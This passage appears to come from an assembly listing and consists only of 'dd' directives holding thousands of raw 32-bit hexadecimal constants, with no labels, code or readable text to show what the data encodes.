885D08C8h dd 0AD3FE001h, 3C30D56Ah, 0D02C0020h, 0D42A9E39h, 2901D66Eh dd 0FA6F0962h, 0E3E06B75h, 70200065h, 21351077h, 0C37D3C6h dd 0E51079F0h, 0AC5F58h, 0A5A33DE7h, 2FA4BC7Ah, 1A33D200h dd 1E08F14Bh, 0CA4E0063h, 31205006h, 0D201F7FDh, 0B9F8FAECh dd 7BF14FC4h, 0D31D9440h, 1C3A01A0h, 37835638h, 8A7FE0D2h dd 0E967F41Dh, 61A560CCh, 61410046h, 11CC4F3Ah, 0F960D19Ah dd 0A424A018h, 0ABC10323h, 9520302Ch, 0F51A5AA8h, 0A0D4A818h dd 0F476B940h, 4A91FC6Fh, 1D48E86Eh, 0BC4335DEh, 0E9A99FEh dd 4ACF3E29h, 0E24194A0h, 44006555h, 0F593BCE0h, 28AF8BAh dd 0FD049521h, 3E0ACAAh, 281EB127h, 4B803E6Dh, 1DAB89C4h dd 71F30053h, 81FC78DFh, 8400585Dh, 3F0B1C33h, 88A2A7h dd 0FEBF6F20h, 78250D38h, 42E1D714h, 320E018Ch, 3C6D8F10h dd 12A4E08Ah, 383500F7h, 9802F26Ah, 7E56700h, 1DCF8733h dd 23C200B7h, 0D79AFF6Ch, 0B100303Eh, 342BE3A0h, 1EA78266h dd 0C33F98ADh, 0CC9D53A4h, 0F6058EF8h, 11330400h, 2EF71332h dd 2D6300FFh, 0B35E76A3h, 74003FE6h, 8C6FA621h, 19865DDh dd 66EDD091h, 0C175EA83h, 0D6C7DC63h, 614C0100h, 0F7569703h dd 587A7804h, 4F3E8060h, 78113200h, 0D7D0D818h, 25ED6E0Ch dd 37A1831h, 0C8F997CFh, 40F0FBEFh, 0B0F86E21h, 0E8174F0Ch dd 79A41A5h, 505C7A6Fh, 0E304A1F0h, 0F2088CE4h, 7C2049h dd 0FD4A7827h, 1C684C9Dh, 0C89CC00h, 0C0EC6AC1h, 443C3A58h dd 6B47E28Ch, 0B8317478h, 6D65A830h, 0A0C00FE5h, 0C2801CC6h dd 0CD9D87D9h, 8ACB202Bh, 5D0C6861h, 71D5D7F8h, 63270124h dd 2C068FDCh, 0C84AEC85h, 708C6400h, 0F2BF47A3h, 0BCF900CAh dd 932650ADh, 618ABB88h, 0F6E9DEF2h, 1D4D86F8h, 1887F5EAh dd 2FAA21FDh, 28DBE558h, 0E300385Eh, 0A11F1475h, 80E7E2h dd 570EB210h, 0D6517D3Ch, 1CF7831Eh, 0C2BC07C0h, 3F34F16Ch dd 0FC80F568h, 0BEB6E2E7h, 8F61B56Fh, 63744151h, 404C8442h dd 0E6D8659h, 892AA54h, 2DD68A60h, 2C002706h, 83D8464Bh dd 28EF690Bh, 3BD0200Ah, 3A7EAC7Ah, 0AA86B743h, 8ADCE91h dd 0F00B084h, 46C441FEh, 7D112A18h, 70316789h, 350500E0h dd 0B900D115h, 405B2FCFh, 1682B69h, 81604B4Dh, 84447ADDh dd 62F64978h, 0E81E2087h, 161FD9h, 0C8E308F9h, 3560EAA7h dd 15BF3258h, 74704Bh, 0D3C31B0Fh, 0BA51D7E4h, 38079602h dd 42163B67h, 4035625Ch, 0A7B9410Eh, 2760820h, 20ED49CEh dd 0CAF03D74h, 0AB52070Dh, 0F7D1F2EEh, 0BA14D0C9h, 16001791h dd 1AC78A08h, 4ED8C66h, 0B9F0C0C6h, 886C8E3Eh, 403FC080h dd 6B092B2Eh, 2194D0Bh, 855A9267h, 9CC63EFCh, 0D76118C0h dd 0B16339D2h, 554DC600h, 0CFAC7805h, 0B0A400D4h, 50EDD337h dd 9097EB4h, 18894127h, 2DF0B4Ch, 5F5DF618h, 0C324EB25h dd 0E5F1AC40h, 6D0327CCh, 0DAB68F69h, 0C33EA01Ch, 0CD3490Ah dd 0BB11D600h, 4F5EFAB5h, 0FCF84700h, 0C30B2458h, 0D3ED0033h dd 0ECB09D38h, 0E8E43089h, 25E12E09h, 871C2544h, 0FD4E981Dh dd 0E4031260h, 0D53EB442h, 66E75400h, 0F5CF9E1h, 0F2166CEAh dd 89B0E8CAh, 2F82BA7Bh, 0F8403FB0h, 5E145C4Ch, 0BCBCB1AFh dd 0CE008CC9h, 7FD6DD2Eh, 52F301Ah, 0D0756668h, 0FCB84033h dd 3CB6E115h, 6795DB00h, 1F276085h, 0A14E0324h, 0E64336D2h dd 90A8E17Ah, 5600989Fh, 79B21554h, 46BA0BCh, 5976264Ch dd 9D98C8CEh, 2716C302h, 90BA7797h, 13DE5DD0h, 624DE95Ah dd 402FD71Ch, 7690E5F3h, 8B080278h, 0FFFA1614h, 43A59084h dd 0F089621Ch, 14A364h, 61D7D25Ah, 7E3D1005h, 0FC63B806h dd 3FE104D1h, 17804552h dd 6A857CF9h, 8474A7BFh, 0F2218EFFh, 0B4F46092h, 1364A882h dd 443625E2h, 0D06274ECh, 3EAA1330h, 8FE7A400h, 512F1A7Dh dd 0A9000BEh, 6F89E669h, 50C25A86h, 0A0ED6232h, 0FBBA3A94h dd 0C12C0034h, 96713187h, 0FA70B04Dh, 18D8E309h, 8F141AF2h dd 609EA8ACh, 50137818h, 91A4A821h, 0FC2300BFh, 3C6E2878h dd 86B53E97h, 7433BD81h, 0D8875EBBh, 544210Eh, 0C4BA0060h dd 3FFE30DEh, 19C608F2h, 0F0710EEDh, 58FA1464h, 36B8A062h dd 0EDA9158Ch, 0EC052449h, 4F1FD66h, 0C46B0FD8h, 26D40085h dd 3AA897A7h, 4B665500h, 4A83DBD4h, 0E633EC20h, 0EA35001Bh dd 0E6493B17h, 0D7069DA8h, 149FB12Bh, 56EF0C40h, 0F958F4EBh dd 0C33A7E00h, 5C9B7283h, 69F139CBh, 0FC89F04Dh, 49B60F87h dd 4E9AF0B0h, 0E101E498h, 0AEAC4B08h, 80E4E2D2h, 0F67F0052h dd 13056FA4h, 23526906h, 41C60128h, 0A40CB697h, 0FC92660Ch dd 4B3AE300h, 6D773FCAh, 0E0F5079Dh, 34BEBD44h, 83FC5D31h dd 3341E278h, 6C5900EAh, 90D5A581h, 0E607281Eh, 13AA2657h dd 8C90CA44h, 0C7F437h, 1FBD8D6Ch, 8AAF4167h, 0B1C9CD00h dd 0EBA86EF6h, 65A10609h, 70EABF68h, 74D7372Eh, 0C6C41826h dd 4A2B841Eh, 61E897E0h, 603079A1h, 0C60EEF4Ch, 721608h dd 0EEF0139Dh, 905CB325h, 29181485h, 19B1B120h, 0F0183619h dd 31FCE06Dh, 0D0362252h, 4338243Eh, 2CE7CD3Dh, 56844C04h dd 2B01E445h, 8665B469h, 0AAE7E988h, 55900751h, 40F002C3h dd 789ACE2h, 0C928A390h, 0CA018C20h, 8D3269DDh, 0D4514155h dd 0EECD6DB2h, 0A2852082h, 0FCEAE269h, 0BEF40848h, 203DA930h dd 416DA59Dh, 0B8946055h, 0DE12048Ch, 6225F601h, 0F0AB20C3h dd 0F21D9EE5h, 56DF6D18h, 0CFBE2547h, 2DC27A70h, 9D2CA0DCh dd 0C04575C5h, 3941F510h, 1A009E72h, 0F14D1787h, 76BAE1B1h dd 1B7E0052h, 919BF01Dh, 97E494EAh, 1066500h, 1A80FFF5h dd 1FE422h, 96732B92h, 56A2C9E4h, 5ADD8E00h, 2411BACBh dd 0F6490ACh, 0B15D63B7h, 4725EA83h, 41E062C3h, 0C41629B0h dd 0B807ECF9h, 320C60Ah, 36841Bh, 74861997h, 23FEDACAh dd 0E21721F2h, 0A5004CF3h, 6D3F1624h, 94D500D4h, 0C347B944h dd 0D4E38470h, 0E21C5080h, 1D00E53Ah, 0F765BFACh, 57A7068Ah dd 1873EBBCh, 80568C38h, 0A3E8276Ch, 48B91C53h, 0D91FCC9Ah dd 4D1E0002h, 3BA22BADh, 8F03D0F0h, 17BF2AA7h, 6FE7809Fh dd 7349016Bh, 5191D1D8h, 6C80EB8Eh, 7007D3C7h, 0CDED1C50h dd 42E88C30h, 0C5B45056h, 4CAD48E6h, 0A034B503h, 0DAC14603h dd 63D0F0A3h, 0A5DE211Fh, 0F8F957DEh, 6ACD7600h, 0F85B69ECh dd 9F28C0C2h, 6B62095Ch, 3EF01C70h, 0CDFA63Eh, 0D803AAACh dd 44CE1E8h, 2DD203EEh, 74D86589h, 3987D808h, 401B1D8Fh dd 0C8185845h, 0E63AE779h, 0F74200DEh, 1DBE8E23h, 0C16A1DB9h dd 0EE02C3E4h, 8D90739Ah, 0B300A98Fh, 0DFA3F24Dh, 2F3E31Ch dd 0E05FC485h, 28815B23h, 0B8DA685Eh, 0E1C05019h, 30027F88h dd 0F4A9DEE2h, 60AC47EAh, 54E62B01h, 0CD1BD363h, 0CCA0A888h dd 0B0F3D000h, 0A0E05E75h, 29A490h, 988F2C0Ch, 63E615A9h dd 7E79FE61h, 7C4C8CD9h, 87F5481h, 0AC3CA0FCh, 316A48BCh dd 8450C63Eh, 9A0C84FEh, 40CB6803h, 14237BC1h, 48102E5Bh dd 5FC35108h, 309AD270h, 5348D5CAh, 3B602386h, 0DB2FA239h dd 0F6F0E403h, 0E3E60365h, 0C551F819h, 0C30684Ch, 313A4657h dd 0AF4200ADh, 92E5E68Eh, 0FF624D1Ah, 807193A1h, 0FCA5411Ch dd 0E6EA1A1Bh, 940042ABh, 14256923h, 9B117760h, 1B86801h dd 0D64E473Fh, 468FB9D4h, 0D9149084h, 0EF4E2A1h, 5D1ED81Ah dd 18940CFh, 615F1BC1h, 0AD7A0840h, 4FD63978h, 55BB5B01h dd 44642567h, 7DDC0434h, 78E6001Ch, 0DEA9087h, 2C8380A7h dd 8478BAD9h, 0A2615E5Dh, 0F57D9C90h, 2C4A18B8h, 0BA2520BCh dd 966AA1C0h, 4840418Eh, 0D01DBCC9h, 84815452h, 0C7F5130Eh dd 0C4044B80h, 0F7005EE6h, 5C1ED585h, 326A596Fh, 0BD602FD8h dd 660D40BEh, 686C2C41h, 80FF400Ch, 49302989h, 0B7DD19CEh dd 0F4020FCDh, 392688Ch, 0A0D4D964h, 54AA212Ah, 0CD50EA70h dd 5031D49Ah, 67B6208Eh, 0E3B0D0BFh, 0BE55AC41h, 0C198E679h dd 619C5B3Fh, 9A63F4B0h, 103466F1h, 0C1C507Ah, 6D682206h dd 0ED8E0CF5h, 42D301FEh, 0A33F001Ah, 4CE2F0B1h, 390F30FFh dd 0DB89ED9Fh, 686C8820h, 0F4031597h, 0DD8DD7Ch, 6A08182Bh dd 0D0192095h, 0E1049403h, 0EE9B79F9h, 0BC3A0039h, 493EAC51h dd 0DA0C8E1Bh, 802A2E63h, 813C12D0h, 600C09E8h, 3E206CACh dd 13B86B69h, 0AB2ED800h, 0C21BF8EDh, 9163A010h, 0CA6287E0h dd 9A3AE375h, 219330C8h, 9E2ADBh, 0DE14D29Ch, 5B67A94Dh dd 8D1C6400h, 69D31D6Ch, 0A2C42627h, 0DDA301F8h, 33D4477h dd 5231C1C7h, 1584BF0h, 84A98E73h, 203CCEE3h, 0EA0041C4h dd 0AD6C132Bh, 0CD2738h, 3B820146h, 9D9A6431h, 84801C00h dd 2B04A095h, 532D00F3h, 45D1B28Ah, 0BE00E7A6h, 0FF9F8D5Eh dd 0F68E4Dh, 31D2187Ch, 0DF75E3AFh, 1A53B600h, 696380C3h dd 6F7D3C55h, 16C85700h, 855D8AF1h, 24E80D0Fh, 43348066h dd 9B18ABh, 0FD9E54CDh, 2A901E35h, 0A5F7CE00h, 0ECFBB681h dd 55740385h, 0D22EEAC0h, 1CBD6900h, 0EB83231Fh, 611300E3h dd 415DC740h, 0C201B145h, 0BD1CCABAh, 5CD49408h, 51F500F6h dd 72344880h, 15307B90h, 0F9DA38EDh, 0C9E8F8h, 8D58E595h dd 4971B6DCh, 2A2C8198h, 750C4C19h, 37466041h, 9098E906h dd 0DC28938Dh, 71D50F0Eh, 0C837C1F5h, 0C0805033h, 0B8C98366h dd 3C2E0D44h, 0B60184A0h, 0B7BBEFF6h, 18FC5FD0h, 0D0721CB3h dd 0F2E7154h, 0DB009D99h, 0E108EC21h, 9D3C1DFEh, 0E2A840DCh dd 0B141C1A6h, 9A0D7A03h, 0B0A09CECh, 2B19A573h, 71047436h dd 449A14Dh, 0E17B78E3h, 4A001009h, 7210629Ah, 0E5009B7Dh dd 5F0BA248h, 27E8A319h, 5239A466h, 67891E08h, 3E132E63h dd 0F8D02054h, 0C3B00F37h, 266EA250h, 0C6D10A6Ch, 50947241h dd 85141848h, 34414C7Bh, 280C79A0h, 6C1C74FAh, 231071DFh dd 505D8D2Bh, 54BEA021h, 251A760h, 7B041808h, 490CC0F8h dd 81258BA2h, 0DAC9CCD3h, 1CA6A609h, 6E242703h, 0A2204D70h dd 30CA508h, 4C2A141Fh, 0F380CD64h, 58508A77h, 0EE60238Bh dd 5AF3693Ah, 90F10A51h, 705DABh, 3AD7E858h, 74E654F2h dd 3B9B0F14h, 40BB9FCh, 0FDF207EBh, 0FC17576h, 198072EBh dd 0E52B1896h, 55075EA1h, 27F8311Ah, 8343C0F2h, 0A8FBF220h dd 3490BF63h, 0BE194EDFh, 38B8310Ch, 858DF74h, 6877EEDh dd 48BCBFA4h, 0DEFF0010h, 70305DBAh, 717445BDh, 61EBC530h dd 24C29F01h, 80988D36h, 8127BA03h, 500C7453h, 69C9AF4Ch dd 0F2DE30CBh, 0D1C12E49h, 1103EBF0h, 0D444DDF3h, 0B947AF7Bh dd 2176540h, 0A73A0786h, 2375485Dh, 0F903C627h, 8DA2B1B4h dd 930FA19Dh, 0A1F41081h, 212456EDh, 0DA489B5Bh, 31980009h dd 0B25ECFB8h, 0C800157Ch, 2A1852C6h, 0E598C2h, 0DF09399Eh dd 555D865Fh, 92777C00h, 975ACD82h, 0A0D9C01Bh, 0F5DCF4A1h dd 0A2778CA8h, 0E88F5C30h, 75A8FC62h, 0FD2E0929h, 0E4208CDFh dd 8E220C39h, 219B5E0Fh, 0E85A0104h, 10EFFBFAh, 2272F28h dd 0F6F96087h, 0F3C0A076h, 7B288Ch, 0C9B5D688h, 72DF5B3Ah dd 96274700h, 0FC98E581h dd 1D78A3F6h, 3320E1h, 0CEECF586h, 3A7F808Bh, 5D00D7EEh dd 0D9AF6503h, 7505C4F7h, 218C6FDCh, 3B28ECAh, 5B272BDEh dd 0A8CFA028h, 4658AC80h, 51C7ED12h, 2CDEF800h, 35D198h dd 8896D99Dh, 0DC7F4E5Dh, 57A35220h, 0B040A848h, 0EB841EF8h dd 98B1702h, 14A2FA50h, 882071EDh, 0E42DE993h, 0B8195769h dd 0C4FA3D08h, 0E840DA44h, 2E751218h, 0F0631A0Fh, 9640FC38h dd 74FDEAE3h, 0E46F0017h, 127BDF46h, 0D4374E0Fh, 0A64079CBh dd 9081954Bh, 0CDFD017Ch, 0C8C09A1Dh, 0CA7BF047h, 6FBFC20Fh dd 23061FA3h, 1ED87009h, 0C059DA45h, 2A66417Fh, 52703DB6h dd 5072FE24h, 670203Eh, 6C10718Dh, 4304C863h, 0AAB0DC7Ch dd 0F25DC4D1h, 8CB853h, 0F5A7FA91h, 93F17FAAh, 0D800A4AAh dd 15CA877Ch, 964871E8h, 0E0F9A144h, 41E58C40h, 0A48C41F8h dd 0F01C0C81h, 980EB752h, 27366020h, 24B3F6FDh, 0C730A42Eh dd 9259EC11h, 0A32688A0h, 4C84D2E7h, 9BDC04F4h, 181C059h dd 1DAD627h, 207CE37Fh, 4B032EF0h, 0A45EA719h, 0E0F5B141h dd 4A4010F3h, 0BCA500A0h, 98B93B49h, 0B15863DAh, 692259F3h dd 14A50554h, 8831E848h, 750FB860h, 155ED686h, 0DE270358h dd 0AA988D49h, 9948909Ah, 26B528BAh, 79CE00F0h, 0BF740219h dd 38003345h, 0C8AF54B8h, 0A71A26h, 998DA563h, 837ED689h dd 0D401B890h, 46EB79D9h, 77F18AE4h, 80019450h, 25411ABAh dd 348571C9h, 9AB0042Fh, 0A4922327h, 88B09708h, 547EA29Eh dd 0F868B077h, 0FAFE95h, 0C445CE21h, 0C8EA2C0Ch, 4AA63401h dd 0A4FFE24Bh, 88EC0C20h, 7D78B965h, 268C2252h, 2E0290DFh dd 0BC4FE8Dh, 8864E601h, 0BE1C615Fh, 0FA160339h, 0C0A79027h dd 0CF0551CEh, 0ACA09A78h, 0DF82E659h, 0C8C1856Ah, 0B4ADBC00h dd 78050CA5h, 0ACCF3F86h, 0B728CDCCh, 743D28D0h, 2430EFC8h dd 1388095Bh, 37F51DFh, 0A2915E1Fh, 0BDFC9026h, 69550342h dd 0DE985F25h, 151A8180h, 80ED9F0Fh, 7ADB4368h, 0D632D859h dd 273A00D0h, 9C2484BEh, 0B10012FBh, 4D95C14Eh, 93C02C4h dd 5FAAA336h, 3D428081h, 0E8FF40A7h, 81008B58h, 0BBEE7C3Ah dd 1FA343C2h, 8A5E21D0h, 814A542h, 10BA8CFCh, 4C08C3DDh dd 86085147h, 0DE10B8C0h, 0CBA211F8h, 51278818h, 513B5CD3h dd 0DDE41874h, 89D1D029h, 9522C624h, 79A826A5h, 6C6C6930h dd 1C72A298h, 6BD19Dh, 644D83E3h, 6CB027D4h, 29003790h dd 0BA63B177h, 0FE52142h, 0BBFE8E07h, 47A72D20h, 67007CDCh dd 0F08C9D8Bh, 0F4B6B0E4h, 388F00CCh, 0B417E048h, 0FF00D8B2h dd 15F991AAh, 0CE34D6h, 218832DEh, 0C607E436h, 1E54B600h dd 0DCFAD172h, 43C0067h, 16890831h, 880F1958h, 0F7C7FB7h dd 7A6CE039h, 7535AA1Bh, 0BCE01C78h, 0DA7F43A9h, 68EBA334h dd 91A0F8EBh, 54010A47h, 38FBEE92h, 0B1CFCD20h, 0C9EC63D9h dd 9B3C006Fh, 9ABE5D7h, 43008293h, 0C7A5BEF7h, 70783Ah dd 9BF23992h, 882FDACFh, 6BBB261Dh, 29EE4D80h, 0F2D47104h dd 0BF640EC0h, 32825Eh, 0C1D1C6B8h, 5203DBBAh, 1C9E3A22h dd 6CE9E079h, 0A706502Bh, 1D5733Dh, 0B26EC7FDh, 50B0CF68h dd 9B0B0AB4h, 0DEA88D00h, 99E4EC7Fh, 0B0E5504Dh, 0DA5000E0h dd 0E9D29515h, 0D07610B6h, 56B1D700h, 1EAFBF4Ch, 9F2FE7Ch dd 85A7E78Ch, 48403080h, 0DC07B960h, 9B52FDD4h, 0E0896190h dd 0C711CFDFh, 9F8C1760h, 60F05314h, 0E63A207Fh, 933A0174h dd 8C33872Eh, 1F7BE824h, 40A2A79Dh, 7FF88C9h, 351D6EE7h dd 1BC0FDF2h, 0B4AB24F1h, 0C56D0227h, 9EC72BA7h, 15797140h dd 0BD0B5100h, 3AB36980h, 981100A8h, 1E729712h, 0FA00C8B4h dd 2895C0FCh, 1E91466h, 87335A55h, 80A20BB2h, 4A32FA80h dd 7BF43F8h, 545B5569h, 0C06E95D0h, 815C5C4h, 7AD54C00h dd 5CCCF3A6h, 92F6DFh, 3E1C899Fh, 1945A064h, 0BFDCFB00h dd 91A88107h, 3FCA009Eh, 3820F6CDh, 0C006E35h, 7BF110EBh dd 6D7DD1h, 7E7C501Ah, 0F8F44764h, 1C56923Dh, 6C87D99Fh dd 0F9FAAFEh, 8FCE4FA2h, 8F871CFBh, 1BD1B84Ch, 18802605h dd 0E206AF4Ah, 5E017F38h, 86DD57CFh, 9DFCFD64h, 4D600050h dd 0C2EEB4A6h, 0E10007BDh, 4C641E7Dh, 2715FE6h, 0B87BD9F4h dd 0C880DD89h, 0D3A179F7h, 4DC23Eh, 0BEE530C9h, 7B9AA98h dd 5585D19Bh, 71D8904Ch, 0E7B0E3B5h, 153DC07Ah, 4DBA0128h dd 0DB0FDF6Dh, 48F8EFD0h, 0DE0E56B6h, 10A0CC1Eh, 53D5F916h dd 0BCD9090Bh, 46F98037h, 1DC27D13h, 27A2E6h, 4057B4D4h dd 8F028E79h, 0D5551B6Ch, 8228C032h, 0ADC307CDh, 50E034B0h dd 0FD31B19Eh, 80283F00h, 7CD76225h, 61A0038h, 0BA33F3B3h dd 8D00501Dh, 0DFA05BC0h, 0F5178B8h, 1E7F31ABh, 5EDC51Fh dd 0DC1892F9h, 89028846h, 8286C449h, 0B2E080D8h, 53BA71h dd 7F7B5F3Dh, 0B6880A20h, 440095E2h, 0B58DF510h, 5F4E47h dd 803124E1h, 0EEDD7C04h, 0E5AD3000h, 0AFD0BDA8h, 38070055h dd 84860B88h, 730094F5h, 0A5BC9E21h, 0B9BB5Ch, 33F66A54h dd 0CD6B64E8h, 9743C90Eh, 0B02C2034h, 3ED93BB2h, 0B10039DBh dd 7518BE9Ch, 2B00D808h, 65C8928Dh, 3D59429Bh, 2E801A60h dd 9E3F19EBh, 67004EEAh, 0D6B2BBCBh, 0BD56CB3h, 9B88B661h dd 609EC427h, 0AB402297h, 39826A00h, 87DB6EFBh, 20351F5Ah dd 7F6C004Fh, 542413CBh, 80218A3Eh, 6320144h, 0EA9BE335h dd 889600A1h, 83610C2Ah, 0E400DFB3h, 1497A848h, 765F3D8h dd 0C53C38C8h, 0FCEF001Ah, 9200B560h, 0E910ECADh, 5B837Ah dd 0A4AB0DC3h, 0D9CE64ACh, 0C6F591Dh, 350B98EAh, 0EC18DCh dd 74B1EB0Ch, 8530007Eh, 4006F487h, 0AB00B80Bh, 14606322h dd 11B35h, 6973F009h, 4A7A0634h, 307D47Fh, 0C0BE3C2h, 83DB474Fh dd 0F1F2F350h, 1A710FD6h, 0A000FB3Ch, 5E749BE2h, 99CF0D03h dd 0C0C125E0h, 0FBA8E4Dh, 711B6909h, 0EF83138Fh, 0C9E08985h dd 21005123h, 3D49F53h, 16046Bh, 74DA73E9h, 1C8C29B9h dd 10F7F200h, 9564B14h, 39C3002Ch, 9093132Fh, 5098AFA5h dd 0DD38B71Dh, 0CD4C5280h, 0EA71A2h, 0AE2BFDA0h, 447842BFh dd 48B4CF00h, 410D1AE3h, 9DB10313h, 3120909Ch, 0ACD3E8A0h dd 34123B7Bh, 640EDDBFh, 0F61EC08Bh, 489B941h, 0CD1F0590h dd 55C0C02Fh, 0E400528Fh, 0E785FB91h, 0D37C3Eh, 94386381h dd 1F02C66h, 0C2008798h, 73EEAFB9h, 9DB6D35h, 80763B96h dd 729FA4C8h, 0FC994916h, 3C22A207h, 0CA80C049h, 0F8294D92h dd 0F5DF4200h, 16903351h, 3272ED00h, 7C22C698h, 92D00CFh dd 0CCF0D5B1h, 66B06AA8h, 0E65C4Ch, 4A785FF8h, 7DC9241h dd 0B8556C45h, 0B63A1097h, 70000430h, 96F38C16h, 0EDA463h dd 0F27B03E0h, 4F7CDF6Bh, 0EA824E07h, 43E1FF61h, 7DE0E674h dd 79E5009Eh, 0BA2C3007h, 0E0FDAA2h, 0EEF44246h, 7F45617Eh dd 1C34B6D7h, 3120383h, 0FDBBCEAFh, 53B6990h, 9F849700h dd 0D9F9B3A5h, 587BC8h, 38A94926h, 0C6640418h, 5C12D707h dd 4B80E7C0h, 3781A3Fh, 0CEB79E20h, 1FB01EDFh, 142601A0h dd 20324EAh, 98888DE2h, 3C65F2h, 3AB77881h, 6703B980h dd 9D1F9800h, 0AF47799Fh, 7FFE002Ch, 237D4A65h, 0CC009231h dd 0DEFCC42Dh, 9681996Ah, 3C2A87D4h, 0BFCC4AA5h, 0DB263E00h dd 40B59BDCh, 0FFF8671Ch, 5785A540h, 1CF41258h, 0C09F1455h dd 8B7D6DBBh dd 2500BC69h, 6DFFC3Ch, 12734E89h, 3AE3E2h, 587A63C5h dd 740FD691h, 6099BF56h, 78B0855Eh, 0A6920037h, 0C401C9CEh dd 0FE00CC21h, 0C3E45F80h, 367304Eh, 0BDD8BA14h, 80B7F508h dd 0F298819Ch, 94C5891Ch, 0F8C3D4C0h, 129E4Ah, 1F7170CDh dd 7CC6055Ch, 7EDA9400h, 0FA756A95h, 0A1D20086h, 26D38420h dd 4B0110FEh, 7147F22Fh, 8851DA75h, 0C820082Bh, 0E31D0045h dd 0ED20B2A2h, 14077F9Eh, 135E782Eh, 0FE75DBD0h, 80DA009Dh dd 928F4438h, 341F5ACFh, 0C300DF8Bh, 7B6F4D19h, 475E2C39h dd 57380084h, 0AB7A4CB8h, 4A29BCA0h, 0EFA03013h, 180D6400h dd 9AE179F5h, 163A056Ch, 2068B505h, 89AC82C8h, 0A8DD1E28h dd 4C00CCF0h, 70E0C09Eh, 1F0D2Bh, 79FB204Eh, 926FBC6Ch dd 29C73800h, 73F86493h, 0C5B018EBh, 0F97EDECDh, 0F4725E09h dd 9A8D802Fh, 7A75BDh, 67479954h, 733C1912h, 7452B51Fh dd 0F69B890Eh, 1A34FA00h, 24B11F46h, 71DAD3Eh, 9363143h dd 0A151EF80h, 0E6005570h, 66D5C5A6h, 1CE88BD1h, 0F3ECCE1h dd 0D94340E2h, 0A0F77FA4h, 5B05A7B4h, 98836C24h, 79885607h dd 24199330h, 37A000B9h, 0B11707FDh, 1C0092B0h, 0BC189D20h dd 8BFB43h, 0BB850684h, 0F511CA3Bh, 0DB86FC00h, 0FDCC465Dh dd 67DA24A9h, 0ED6F006Ch, 1814A1F8h, 84EFF100h, 0B51E6AB0h dd 98E0FBh, 57B943FEh, 71523C7Fh, 0D0C2B700h, 0A9B0445Ch dd 475A3F4Fh, 36DA4ACh, 0D2FF82EAh, 507ADEE0h, 950AC916h dd 494E6007h, 6D704401h, 983D5030h, 30410070h, 618964EDh dd 133CEE34h, 0A951005Dh, 1FF6CC9Bh, 9DD0048Ch, 0E0867C20h dd 0F81FAEC8h, 580068DAh, 8E3AFFF9h, 672000Eh, 0D0C6641h dd 1D3CFAD3h, 1F8081F8h, 96F76912h, 85F1E0h, 9F6595C0h dd 0B6053513h, 222D4D00h, 53DCD778h, 0CC1F2E9Bh, 0EDA70733h dd 36D80B1h, 0C607D54Ah, 0CAA5E082h, 9AAD850h, 2BEF642h dd 69251867h, 0A8A0D32Bh, 0E9FD1664h, 88274300h, 0F8783ACCh dd 1E08EA0Bh, 0A6A157BFh, 0A9D600E0h, 0CDF64FECh, 47749505h dd 5BC0E0CFh, 3DFBC3B5h, 0DA3A2ED5h, 0CD57820Fh, 84BB6AC0h dd 1D7D27C8h, 83E7E33Eh, 0BE589B38h, 7587A845h, 17F93B02h dd 0EE4EFE84h, 63A780C1h, 85FE345Ch, 12682F5Dh, 30C09BE9h dd 5F066Bh, 51151DB8h, 0CBA168D1h, 1A87EC00h, 6A889D32h dd 0F0D9817h, 79474D40h, 58CED61h, 0F0F2E8A8h, 0EB3AA700h dd 0BE4A2DAFh, 31380211h, 9299F88h, 0B7804C8h, 1FC72094h dd 0B7AA62F0h, 0FFF500C1h, 250477BEh, 98122D45h, 0F401EE76h dd 0AB3C120Eh, 1AA3F740h, 185261A7h, 0E0CBA5E6h, 0A10091C8h dd 5E54B8ECh, 7CE59907h, 49A20093h, 2CBE5A50h, 920083E7h dd 9C46E6ACh, 5E3129h, 0BFF26236h, 0E5183EB6h, 4BC5F300h dd 0D5565D09h, 3FAF0025h, 24D79011h, 0D41E9D29h, 0C91F8A4Fh dd 0E9E12782h, 4AF9E0C3h, 6B73005Eh, 0A5EE2967h, 0C0570E3h dd 0BADA72A7h, 1E4AE8E0h, 0DDF27737h, 4527409Ch, 4FB5FF6Eh dd 0C55F0B00h, 3B6DFE4Ch, 7CDBFC69h, 70ED008Ah, 20EF36EAh dd 6701D1AAh, 0D2A97C95h, 6AC41556h, 931D005Eh, 7DBC3124h dd 6F04FD21h, 0CAC90179h, 0A4150EAAh, 8059D884h, 34DD0790h dd 0F6EC5B00h, 5E35582Ah, 0A1A700C4h, 6D038E29h, 0FC006E6Ch dd 0A3544FB4h, 3D23E3CAh, 0F192D8FAh, 74D40052h, 95FEC7DEh dd 0A0D4B300h, 43C56D0Eh, 864F3A6Fh, 49EA7680h, 0D6BF1BCFh dd 7944D402h, 0C07B918Fh, 233443h, 0BA13A781h, 0AEAA8CB9h dd 72B36C01h, 3198E036h, 4F951424h, 0C86C30CFh, 0B0F0FC8Ch dd 0E7EEF609h, 0AF0C2069h, 24A1C135h, 0F9F915h, 0E13997A8h dd 93F4DC8h, 37118C6Fh, 13BA613h, 607B845Ah, 0E8CE636Ch dd 0D31D505Dh, 0B940A262h, 31F6E8BBh, 0AF3D01F3h, 0FE0A6567h dd 0C69E3088h, 5A9258h, 6AE21893h, 7B15519Eh, 0FE8A3EDDh dd 0AEFA0680h, 4954C402h, 610E9C00h, 0EA9B7231h, 0BB01F5Dh dd 0F5140107h, 0C01CF788h, 0FE1FBBBDh, 0C0C4D56Ch, 0B8E03AEBh dd 3962018Eh, 9ADB7025h, 1123F8B6h, 3622A803h, 0E03F1F0Ch dd 0E4A19Ch, 9A78348Ah, 3DE97191h, 0F4169000h, 9DC529F3h dd 0D5B90026h, 6D0AB61Fh, 0F809E4DCh, 6408C22Eh, 3C8B2430h dd 0AD813F5Ah, 0A297D2Ch, 4B656068h, 0F57D1AECh, 0D076BB8h dd 0A4CA468Bh, 91B4A0ABh, 8DFE9Eh, 0F1CBF0B5h, 7F528A84h dd 0DD0F0100h, 3E543772h, 0F3920748h, 0F7BFC8B6h, 0A06D30Bh dd 2C28E1B8h, 6AB7D40Fh, 364EE025h, 31D83CEh, 335F4A3Eh dd 0D2B194F6h, 9F21801Fh, 0F00BE57Eh, 6FC00B1h, 0A763EA38h dd 0AB0CAA5Fh, 0DE886F7Bh, 0C48700AEh, 0E66AEF4Eh, 89725C6Ch dd 0A900DDF6h, 0CA94D935h, 2C12BBh, 189AD06Fh, 0A614F0EDh dd 356C0E00h, 97BF02C0h, 46950F30h, 0CDA0E5B9h, 57DBAD27h dd 0D543C06h, 16488DE7h, 0C05A1C0Ah, 6813DAC4h, 1AF4C0Eh dd 0D903E4A8h, 7288CCCh, 0A6B561B4h, 0CE97D0EAh, 0B9007051h dd 0F1383921h, 1C8D7ADFh, 